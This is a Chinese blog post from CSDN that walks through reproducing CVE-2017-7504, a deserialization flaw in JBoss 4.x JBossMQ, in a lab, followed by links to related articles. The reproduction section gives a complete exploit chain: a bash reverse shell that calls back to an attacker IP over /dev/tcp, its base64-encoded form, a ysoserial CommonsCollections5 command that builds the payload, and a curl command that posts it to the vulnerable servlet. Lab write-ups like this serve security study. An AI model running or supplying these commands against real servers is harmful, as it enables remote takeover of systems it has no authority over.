JBoss 4.x JBossMQ JMS 反序列化漏洞复现(CVE-2017-7504)

最新推荐文章于 2024-05-01 19:38:14 发布
最新推荐文章于 2024-05-01 19:38:14 发布
阅读量272 收藏
点赞数
文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/wutiangui/article/details/132805003
版权

一、影响版本
Jboss AS 4.x及之前版本
二、搭建环境
在这里插入图片描述在这里插入图片描述

三、漏洞验证
访问/jbossmq-httpil/HTTPServerILServlet，出现以下页面代表存在漏洞
在这里插入图片描述

四、漏洞复现
1.nc开启监听
在这里插入图片描述

2.生成序列化数据
使用工具ysoserial.jar生成序列化数据
bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
Base64编码后
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==
所以payload:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i} " >exp.ser
执行完该命令之后，会在本地桌面生成一个序列化的文件exp.ser，并利用cat查看其内容。
在这里插入图片描述

然后，将生成的exp复制到JavaDeserH2HC-master目录方便下一步利用
3.反弹shell
使用序列化数据反弹shell
curl http://192.168.25.128:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @exp.ser
在这里插入图片描述在这里插入图片描述

只为了拿0day
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
JBossMQJMS 反序列化漏洞（CVE-2017-7504）漏洞利用工具
07-23
JBossMQJMS 反序列化漏洞（CVE-2017-7504）漏洞利用工具，方便我们进行漏洞利用getshell。
CVE-2017-12149JBOSSas6.X反序列化(反弹shell版)
08-08
CVE-2017-12149 JBOSS as 6.X反序列化(反弹shell版)
jboss java反序列化命令执行漏洞_jboss反序列化漏洞复现(CVE-2017-7504)
weixin_42515313的博客
02-26 192
jboss反序列化漏洞复现(CVE-2017-7504)一、漏洞描述Jboss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。二、漏洞环境搭建以及复现1、使用docker搭建漏洞环境及复现Docker-com...
Jboss CVE-2017-7504 复现（vulhub）
MDSEC的博客
08-25 428
Red Hat Jboss AS 4.X及之前的版本中的JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在安全漏洞。远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。如果漏洞复现过程中有问题，可能是因为java版本问题。(1)尝试 创建 /tmp/123 文件夹。需要：ysoserial 反序列化工具。(2) 反弹shell。微信公众号：猫蛋儿安全。
jboss漏洞复现
Shanfenglan's blog
11-23 990
文章目录什么是jboss1. JBoss 5.x/6.x 反序列化漏洞（CVE-2017-12149）原理利用2. JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）原理利用参考文章 什么是jboss java中间件，类似于weblogic，webSphere等。可以理解成是一个加强版的可以实现EJB的tomcat。它的内部集成了tomcat对servlet处理的功能，而且支持EJB，不过weblogic的性能几乎全优于它，基本可以用weblogic代替。 1. JBos
JBoss 4.x JBossMQ JMS（CVE-2017-7504）漏洞复现
qq_44504968的博客
09-08 392
JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504） 文章目录JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）漏洞原理实验环境漏洞环境漏洞复现 漏洞原理 Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存
CVE-2017-7504漏洞复现
Foreverlove112的博客
10-01 552
CVE-2017-7504漏洞复现
CVE-2017-7504 (JBOSS反序列化漏洞)漏洞复现
Jerry____的博客
12-16 1819
CVE-2017-7504 (JBOSS反序列化漏洞)漏洞复现 一：漏洞原理 JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。 二：影响范围 JBoss AS 4.x及之前版本。 三：环境搭建 cd...
【jboss漏洞复现】CVE-2017-7504反序列化漏洞+CVE-2017-12149任意代码执行漏洞+JMXInvokerServlet-deserialization反序列化漏洞
serendipity1130的博客
08-31 867
CVE-2017-7504 Jboss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。 1.扫描开放了8080端口，访问8080端口： 2、利用工具选择一个Gadget：ExampleCommonsCollections1WithHashMap编译并生成序列化数据： javac -cp .:common
【vulhub】JBOSS 4.x 反序列化远程代码执行漏洞（CVE-2017-7504）复现
qq_45300786的博客
04-14 803
0x00前言： 序列化就是把对象转换成字节流，便于保存在内存、文件、数据库中；反序列化即逆过程，由字节流还原成对象。 Java中的ObjectOutputStream类的writeObject()方法可以实现序列化，ObjectInputStream类的readObject()方法用于反序列化。 问题的根源在于类ObjectInputStream在反序列化时，没有对生成的对象的类型做限制。 Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三
JBossMQJMS 反序列化漏洞（CVE-2017-7504）
懂进攻知防守
07-23 808
CVE-2017-7504 漏洞与 CVE-2015-7501 的漏洞原理相似，只是利用的路径稍微出现了变化， CVE-2017-7504 出现在 /jbossmq-httpil/HTTPServerILServlet 路径下。JBoss AS 4.x及之前版本中，JbossMQ实现过程的 JMS over HTTP Invocation Layer 的HTTPServerILServlet.java ⽂件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。...
Jboss Application Server反序列化命令执行漏洞利用工具（CVE-2017-12149）
07-23
CVE-2017-12149漏洞利用工具，针对该漏洞快速方便的进行利用。
Java反序列化漏洞利用工具.zip
04-10
java反序列化漏洞利用工具包含jboss|weblogic，网上其实有很多，但是用别人的工具收30分是不是有点不厚道，所以我用自己的分下载下来，然后以最低分贡献给大家，上次没有审核通过，希望这次可以
网络安全与密码学
weixin_61074128的博客
04-27 1335
一、密码学是一门研究信息安全保密的学科，主要涉及对信息进行加密、解密以及相关的安全技术和理论。它通过使用各种加密算法和技术，将明文信息转换为密文，以确保信息在传输和存储过程中的保密性、完整性和真实性。密码学在通信、电子商务、金融、军事等领域都有着广泛的应用。密码学包括对称加密、非对称加密、哈希函数、数字签名等重要内容。同时，密码学也在不断发展和创新，以应对不断变化的安全挑战。大家要注意的是我们平时用来认证身份的密码（passwd）翻译成口令更准确。
网络安全思考题
weixin_62304542的博客
04-27 801
网络安全渗透思考题
大模型引领未来：探索其在多个领域的深度应用与无限可能【第七章、大模型在科技、网络安全、农业等方面的应用探索】
最新发布
今晚打老虎的专栏
05-01 427
大型模型在科技、网络安全和农业领域的应用持续演进。在科技中，它们加速了天文学和科学研究的进展。在网络安全领域，大模型提高了网络威胁检测和应对的效率。而在农业中，它们帮助农民做出精准决策，优化产量和质量。这些应用展示了大模型在不同领域的广泛用途，为各行业带来新的发展机遇。
网络安全与密码学--AES加密
weixin_61074128的博客
04-22 1206
1997年 NIST征集AES（Advanced Encryption Standard）2000年选中。AES分组长度为128位，密钥长度为128 192 256位。密钥长度 64位（实际使用56位 其中8位是奇偶校验位）python实现AES加密。分组加密之AES加密算法。DES 1977年被采用。
网络安全实训Day16
Yisitelz的博客
04-26 733
网络空间安全第16天学习笔记。漏洞扫描；内网渗透
CVE-2017-7504
07-28
CVE-2017-7504是指JBoss AS 4.x及之前版本中的一个反序列化漏洞，该漏洞存在于JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件中。攻击者可以利用特制的序列化数据利用该漏洞执行任意代码。与CVE-2015-7501漏洞原理相似，但利用的路径不同，CVE-2017-7504出现在/jbossmq-httpil/HTTPServerILServlet路径下。\[1\] 要利用CVE-2017-7504漏洞，可以按照以下步骤进行操作： 1. 访问靶场环境。 2. 使用CVE-2017-12149的工具和脚本在攻击机上执行命令，生成poc（详情请参考相关文章）\[2\]。 3. 在另一个终端上监听端口。 4. 在第一个终端上执行命令，生成成功\[3\]。 请注意，这只是一种利用CVE-2017-7504漏洞的方法，具体操作可能因环境和工具而异。 #### 引用[.reference_title] - *1* [JBossMQ JMS 反序列化漏洞（CVE-2017-7504）](https://blog.csdn.net/weixin_51151498/article/details/128283378)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [[Vulfocus解题系列] jboss 反序列化 （CVE-2017-7504）](https://blog.csdn.net/qq_45813980/article/details/118653639)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [JBoss反序列漏洞（CVE-2017-7504）](https://blog.csdn.net/weixin_46411728/article/details/126714312)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值